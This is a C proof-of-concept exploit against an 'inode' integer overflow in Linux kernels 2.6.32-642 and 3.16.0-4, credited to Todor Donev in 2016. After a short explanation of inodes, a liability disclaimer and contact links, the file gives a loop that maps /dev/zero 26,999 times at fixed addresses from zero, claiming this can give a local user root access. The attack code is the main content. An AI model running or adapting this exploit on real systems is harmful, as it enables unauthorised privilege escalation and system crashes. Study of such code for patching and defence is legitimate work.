/* Linux Kernel 2.6.32-642 / 3.16.0-4 'inode' Integer Overflow PoC
The inode is a data structure in a Unix-style file system which describes a filesystem
object such as a file or a directory. Each inode stores the attributes and disk block
locations of the object's data. Filesystem object attributes may include metadata, as
well as owner and permission data.
INODE can be overflowed by mapping a single file too many times, allowing for a local
user to possibly gain root access.
Disclaimer:
This or previous program is for Educational purpose ONLY. Do not use it without permission.
The usual disclaimer applies, especially the fact that Todor Donev is not liable for any
damages caused by direct or indirect use of the information or functionality provided
by these programs. The author or any Internet provider bears NO responsibility for content
or misuse of these programs or any derivatives thereof. By using these programs you accept
the fac that any damage (dataloss, system crash, system compromise, etc.) caused by the use
of these programs is not Todor Donev's responsibility.
Thanks to Maya Hristova and all friends.
Suggestions,comments and job offers are welcome!
Copyright 2016 (c) Todor Donev
Varna, Bulgaria
todor.donev@gmail.com
https://www.ethical-hacker.org/
https://www.facebook.com/ethicalhackerorg
http://pastebin.com/u/hackerscommunity
*/
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
void main(){
int fd, i;
fd = open("/dev/zero", O_RDONLY);
for(i = 0; i < 26999; i++){
mmap((char*)0x00000000 + (0x10000 * i), 1, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);
}
}
